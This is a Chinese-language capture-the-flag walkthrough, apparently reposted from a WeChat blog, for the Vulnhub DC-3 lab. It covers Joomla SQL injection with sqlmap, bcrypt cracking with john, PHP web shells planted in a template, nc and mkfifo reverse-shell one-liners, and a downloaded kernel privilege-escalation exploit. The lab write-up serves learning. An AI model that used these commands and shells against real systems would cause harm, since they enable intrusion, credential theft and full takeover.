Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

admin 2022年10月5日12:27:11评论10 views字数 3623阅读12分4秒阅读模式

DC3-WalkThrough


免责声明

本靶机文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本公众号及其本人无关.


靶机地址

  • https://www.vulnhub.com/entry/dc-3

Description

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).
If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

Technical Information

DC-3 is a VirtualBox VM built on Ubuntu 32 bit, so there should be no issues running it on most PCs.
Please note: There was an issue reported with DC-3 not working with VMware Workstation. To get around that, I recommend using VirtualBox, however, I have created a separate DC-3 VMware edition for those who can only use VMware.
It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.

知识点

  • Joomla SQL 注入 (中期)
  • john 跑 hash (中期)
  • web 命令执行 (中期)
  • CVE-2016-4557 提权 (后期)

实验环境

环境仅供参考

  • VMware® Workstation 16 Pro
  • WIN10+KALI : NAT 模式

192.168.112.150

  • 靶机 : NAT 模式

前期-信息收集

开始进行 IP 探活

nmap -sP 192.168.112.0/24
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

排除法,去掉自己、宿主机、网关

192.168.112.152 就是目标了

扫描开放端口

nmap -T5 -A -v -p- 192.168.112.152
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

发现只开放一个 80 端口,那么就只能从这入手了

访问 web 发现,是一个 joomla 网站

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

dirMap 目录扫描看看

python3 dirmap.py -i http://192.168.112.152/ -lcf
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

中期-漏洞利用

使用 searchsploit 找找这个版本的漏洞

searchsploit -w Joomla 3.7.0
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

Joomla 3.7.0 有个 CVE-2017-8917 SQL 注入漏洞

更多漏洞信息和 POC 见 BS-Exploits

直接 SQLMAP 走起

sqlmap -u "http://192.168.112.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables -T '#__users' -C name,password --dump --batch

可以看到跑出了后台账号密码

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******
 admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是 bcrypt 加密的, hashcat 和 john

都可以跑,在 DC1 中使用 hashcat 跑了密码

这里就用 john 跑一跑

echo "$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu" > hash.txt
john hash.txt --format=bcrypt
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

ok,跑出密码 snoopy 

登录前再扫一下后台目录

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

注意不是在 http://192.168.192.168.112.152/index.php 登录,

而是在 http://192.168.192.168.112.152/administrator/index.php 登录

这 TM 才是后台

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

是时候拿个 shell 玩玩了

我们可以编辑模板来获得一个反向 shell

访问 http://192.168.112.152/administrator/index.php?option=com_templates&view=templates

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

这里随便找一个模板,我就用 Beez3 了

看它不爽到 index.php 里加点代码

system($_GET['cmd']);
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

尝试访问模板预览 

http://192.168.112.152/index.php?tp=1&templateStyle=4&cmd=whoami

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

ok,命令成功执行,下面直接准备回弹 shell

kali 开启监听

nc -lvp 4444

访问 http://192.168.112.152/index.php?tp=1&templateStyle=4&cmd=nc%20-nv%20192.168.141.134%204444%20-e%20/bin/bash

等待了半天,没弹回来,什么鬼,换个回弹方法试试

注: 这里试了半天,用了很多方法都没有回弹成功,只好暂时另辟蹊径了

到 index.php 里加个一句话

<?php eval($_POST[1]);?>
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

使用蚁剑连接

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

连上去了,手动在弹个 shell 回来

nc -nv 192.168.112.152 4444 -e /bin/bash
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

CNM还是不行谜题解开了

这 TM 是 openbad版本的 nc 

我不管老子就是要弹

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.112.152 4444 >/tmp/f
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

狗日的,还不是被我连上了,改下交互,查看版本

lsb_release -a
uname -a
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

后期-提权

使用 searchsploit 找找这个版本的漏洞

searchsploit -w ubuntu 16.04 4.4.x
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

存在提权漏洞 CVE-2016-4557

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

找个 EXP 用用

apt install -y libfuse-dev
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

EXP 传给靶机,kali 启个 web

python -m http.server 80

靶机上下载,并运行

wget 192.168.112.152/39772.zip
unzip 39772.zip && cd 39772 && tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploi && sh compile.sh
./doubleput
Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

提权成功,感谢靶机作者 @DCUA7,查看最终 flag。

Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

我的基友

原文始发于微信公众号(猫因的安全):Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月5日12:27:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub_DC3-WalkThrough 's Range clearance record BY CNMB*******http://cn-sec.com/archives/1332849.html

发表评论

匿名网友 填写信息